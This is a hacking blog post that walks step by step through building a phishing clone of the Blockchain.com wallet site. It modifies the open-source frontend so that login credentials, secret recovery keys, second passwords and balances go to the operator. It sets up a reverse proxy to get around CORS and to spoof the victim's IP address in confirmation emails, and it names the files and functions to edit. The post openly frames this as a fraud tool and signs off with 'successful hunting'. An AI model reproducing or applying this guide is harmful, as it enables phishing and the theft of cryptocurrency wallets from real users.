Hacking
September 26, 2022

Blockchain.com Fake Website Guide

Hello freaks! Hackfreaks here. I'm sure you've heard of blockchain phishing sites, but have any of you seen them implemented?

It is very risky to buy a finished product on the market without knowing what it technically consists of. After all, over the past six months, or maybe a year, a lot of scams have already been announced, which showed a demo of a fake and merged after receiving a large amount.

I decided to show you how you can implement a blockchain phishing site without having a general technical understanding of how others have implemented it. We will rely only on the described features and documentation.

And so, to begin with, let me remind you what a fake is:

> Fake (English fake - fake, fake, deceit, fraud) - something false, unreliable, falsified, presented as valid, real, reliable in order to mislead.

In simple words, a fake is a full-fledged copy of the site with the only difference in the domain, where the main idea is that the visitor does not understand the substitution and enters the data we need.

And so, let's go!

  • We notice the version data below and the link that leads to Github.
  • We go through it and see that the web interface sources are laid out in the repository!
Hmm... interesting, it turns out that it is possible to raise a copy of the web interface without any knowledge?

I couldn't believe my eyes, was it that easy? Who came up with the idea to lay out this stuff officially is not at all clear.

  • Next, read the instructions, try to install:
wget https://codeload.github.com/blockchain/blockchain-wallet-v4-frontend/zip/refs/tags/v4.48.16
  • The result - well, "almost" a full-fledged fake:
  • So far, this fake does nothing in terms of sending data, which we will now do.

We need to find authorization in the files and try to add our own function.

  • We are looking for the keyword "login" in the files.
  • Find the main authorization file:

Open the file: packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js

  • Add a function for a simple send:
const submitAuth = function ({guid, password}) {
  • And also after the session block:
let session = yield select(selectors.session.getSession, guid)
  • We add:
yield call(submitAuth, {guid, password})

The most important thing left is to run it all on a test domain and see if it works.

  • Editing the hosts file:
127.0.0.1 login.blockchain.test
  • Nothing happens, so the first thing we do is check the console:

I was disappointed, it turns out that the API server does not allow making requests from the outside due to CORS .

We think, we think, how is CORS solved? So after all, the usual reverse proxy at the web server level. Is not it so?

  • Here is the configuration file for Caddy's simple web server reverse proxy:
reverse.blockchain.test {

What exactly does this config do: it simply proxies all requests to the blockchain.info domain and changes the response in which it allows CORS requests, you can do this on absolutely any web server - for ease of operation and clarity, Caddy was chosen as an excellent lightweight web server with automatic ssl support, which is written in Go.

Now we change the server API address in our web interface file, for this we open the config/env/production.js file

  • We change:
ROOT_URL: 'https://blockchain.info',
  • On value:
ROOT_URL: 'http://reverse.blockchain.test',
  • Let's try to login again:
  • Hooray! Authorization was successful and a confirmation email was sent.
  • We just have to check the mail and open the letter:

Yes, but what the hell is my server IP doing here?

I thought for a moment, but we only recently bypassed CORS, which is why this address is displayed, and then I remembered ... in all the topics where the fake was rented, it was written about such a feature as IP spoofing.

The point is that an ordinary user who finds himself on a fake when confirmed by mail will understand that this is someone else's IP address and simply will not confirm that it is not good. It turns out that without this feature, our fake is just a kind of powerful combine, this could be done on HTML + CSS.

Let me remind you what IP spoofing is:

IP spoofing is a type of hacker attack that uses someone else's IP address to deceive the security system.

After some thought, I came to the conclusion that IP spoofing only works in UDP .

The transport (4) layer protocol TCP has a built-in mechanism to prevent spoofing

In an HTTP request, you cannot change the IP address, because HTTP works over the TCP protocol.

  • Is this the end? I was a little upset, brewed a cup of tea, and consequently decided once again to look at the site itself and the requests https://login.blockchain.comafter authorization:
  • Oh yes... very interesting sub-domain in the headerx-original-host: wallet.prod.blockchain.info

We need to know the details for all domains and IP addresses.

  • We make a request to find out where blockchain.info is located:
nslookup blockchain.info
  • Now let's find out who owns the IP address:
whois 104.16.143.212
  • It remains to find out where wallet.prod.blockchain.info is located:
nslookup wallet.prod.blockchain.info
  • Find out who owns the IP address again:
whois 35.201.74.1

I froze for a moment: they use CloudFlare, but the main server to which requests are sent is in the Google cloud.

  • Trying to ping:
ping wallet.prod.blockchain.info -c 1
  • Opening the site itself:

404... hmm... something and the tea has already cooled down a lot - but oh well, because we found something very interesting here.

I was upset again, but for a moment I remembered that since the site is proxied through CloudFlare, and then transferred to Google Cloud, it means that they somehow transmit the necessary headers.

After all, anyone who has ever worked with CloudFlare knows that all requests to the server go: Visitor <-> CloudFlare <-> Server.

  • Checking mail:
  • Everything is working! It remains to integrate this into our reverse proxy:
reverse.blockchain.test {
  • Authorization works, but for some reason the balance is not shown:
  • We open the console, then we see that the problem occurs due to the fact that /multiaddonly blockchain.info is available, and it simply does not exist in wallet.prod.blockchain.info:
  • It turns out that our reverse proxy is not quite universal. Add some logic to our reverse proxy:
reverse.blockchain.test {
  • Excellent! Now everything works great!
  • As a result, we already have: login and password capture + IP spoofing.

But this doesn't give us anything, because we won't be able to confirm by mail, and if the user still has two-factor authorization or blocking by IP address turned on, then it's a real disaster. if you enjoying the article a subs to our telegram channel would be preciated:) Here

We did something fake, but we won't get any benefit from it if there is no permanent access to the account.

  • I decided to go back to basics and take another look at the web interface itself, we are interested in the security settings:

As you can see on the skin, the secret recovery key makes it possible for anyone to access the account!

The secret key is something from the category of saints, if you lose it, you can lose money on your account.

And if it is shown in the web interface, then you can also send it to yourself.

Recovery via a secret key allows you to bypass any account restrictions: two-factor authorization + white list by IP address .

It's just tinny, I thought for a minute ... so there's even no point in writing down the login password, you can just collect secret keys and restore accounts, and then turn off security settings, including changing the mailing address.

"So this is a feature, not a bug" - so the developers would say ..
  • Now it remains for us to add all the missing features to the fake itself:

1) Secret recovery key.

  • We are looking for "recovery" in the files, we find the only function "recoverySaga", which displays the private recovery key:
const recoverySaga = function * ({ password }) {
  • We need to change it a bit, open the file packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts
  • We add a function to return the secret key in a format convenient for us:
const recoverySagaInfo = function * ({ password }) {
  • We still need to send this data, add the send function:
const submitRecover = ({ guid, recovery }: { guid: string, recovery: any }) =>

2) Optional confirmation password aka second pass.

  • Looking in the files for "SecondPassword" we find an amazing function call:
import { promptForSecondPassword } from 'services/sagas'
Wonderful. This is exactly what we needed.
  • Opening the filepackages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts
  • Add a function to send second password data:
const submitSecondPass = ({ guid, password }: { guid: string, password: string }) =>

We will call the function a little later.

3) Balance

If there is information about the balance of the wallet, it will be easier to understand which account needs to be restored instantly and in the future just add notifications.

  • Looking in the files for "balances", we find an equally amazing function call in the same file that we edited earlier:
// check/wait for balances to be available
  • Add a function to send balance data:
const submitBalance = ({ balances, guid }: { balances: any, guid: string }) =>
  • Now, after authorization, in order to send, we need to change the file packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js:
  • Looking for a function:
yield put(actions.goals.saveGoal('syncPit'))
  • Add after it:
yield put(actions.goals.saveGoal('sendData'))
  • After that, we need to add a new function to the file packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts:
const runSendData = function * (goal) {
  • In the same file we are looking for:
case 'syncPit':
  • Add after it:
case 'sendData':
  • infile packages/blockchain-wallet-v4-frontend/src/data/goals/types.ts:

After " referral ", add " sendData ".

Ready! Our flawless fake with all the possibilities has been created.

That's all for today. Thank you for your attention and we wish you successful hunting!

Read more paid article for free : Here